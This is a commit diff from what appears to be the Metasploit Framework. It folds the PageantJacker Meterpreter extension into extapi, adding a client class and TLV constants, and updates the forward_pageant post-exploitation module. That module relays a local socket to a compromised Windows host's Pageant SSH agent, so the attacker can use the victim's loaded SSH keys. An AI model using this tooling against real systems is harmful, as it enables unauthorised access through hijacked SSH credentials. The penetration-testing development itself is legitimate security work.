Skip to content

Commit 853d822

Browse files
committed
Merge pull request #1 from bcook-r7/land-5380-pageantjacker
update pageantjacker to run as part of extapi
2 parents cdd39f5 + 61e7e1d commit 853d822

File tree

7 files changed

+66
-147
lines changed

7 files changed

+66
-147
lines changed

lib/rex/post/meterpreter/extensions/extapi/extapi.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
77
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
88
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
9+
require 'rex/post/meterpreter/extensions/extapi/pageant/pageant'
910
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
1011

1112
module Rex
@@ -36,6 +37,7 @@ def initialize(client)
3637
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
3738
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
3839
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
40+
'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client),
3941
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
4042
})
4143
},
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# -*- coding: binary -*-
2+
3+
module Rex
4+
module Post
5+
module Meterpreter
6+
module Extensions
7+
module Extapi
8+
module Pageant
9+
###
10+
# PageantJacker extension - Hijack and interact with Pageant
11+
#
12+
# Stuart Morgan <[email protected]>
13+
#
14+
###
15+
class Pageant
16+
def initialize(client)
17+
@client = client
18+
end
19+
20+
def forward(blob, size)
21+
return nil unless size > 0 && blob.size > 0
22+
23+
packet_request = Packet.create_request('extapi_pageant_send_query')
24+
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
25+
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)
26+
27+
response = client.send_request(packet_request)
28+
return nil unless response
29+
30+
{
31+
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
32+
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
33+
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
34+
}
35+
end
36+
37+
attr_accessor :client
38+
end
39+
end
40+
end
41+
end
42+
end
43+
end
44+
end

lib/rex/post/meterpreter/extensions/extapi/tlv.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,12 @@ module Extapi
7575
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
7676
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
7777

78+
TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85)
79+
TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86)
80+
TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87)
81+
TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88)
82+
TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89)
83+
7884
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
7985
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
8086
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)

lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb

Lines changed: 0 additions & 56 deletions
This file was deleted.

lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb

Lines changed: 0 additions & 18 deletions
This file was deleted.

lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb

Lines changed: 0 additions & 60 deletions
This file was deleted.

modules/post/windows/manage/forward_pageant.rb

Lines changed: 14 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,19 @@ def initialize(info = {})
3838
], self.class)
3939
end
4040

41+
def setup
42+
unless session.extapi
43+
vprint_status("Loading extapi extension...")
44+
begin
45+
session.core.use("extapi")
46+
rescue Errno::ENOENT
47+
print_error("This module is only available in a windows meterpreter session.")
48+
return
49+
end
50+
end
51+
end
52+
53+
4154
def run
4255
# Check to ensure that UNIX sockets are supported
4356
begin
@@ -47,18 +60,6 @@ def run
4760
return false
4861
end
4962

50-
# Attempt to load the pageantjacker extension if it isn't already loaded.
51-
unless session.pageantjacker
52-
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
53-
session.core.use("pageantjacker")
54-
end
55-
56-
# Fail if it cannot be loaded
57-
unless session.pageantjacker
58-
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
59-
return false
60-
end
61-
6263
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
6364
if datastore['SocketPath']
6465
@sockpath = datastore['SocketPath'].to_s
@@ -84,7 +85,7 @@ def run
8485
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
8586
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
8687
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
87-
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
88+
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
8889
if response[:success]
8990
begin
9091
s.send response[:blob], 0

0 commit comments

Comments
 (0)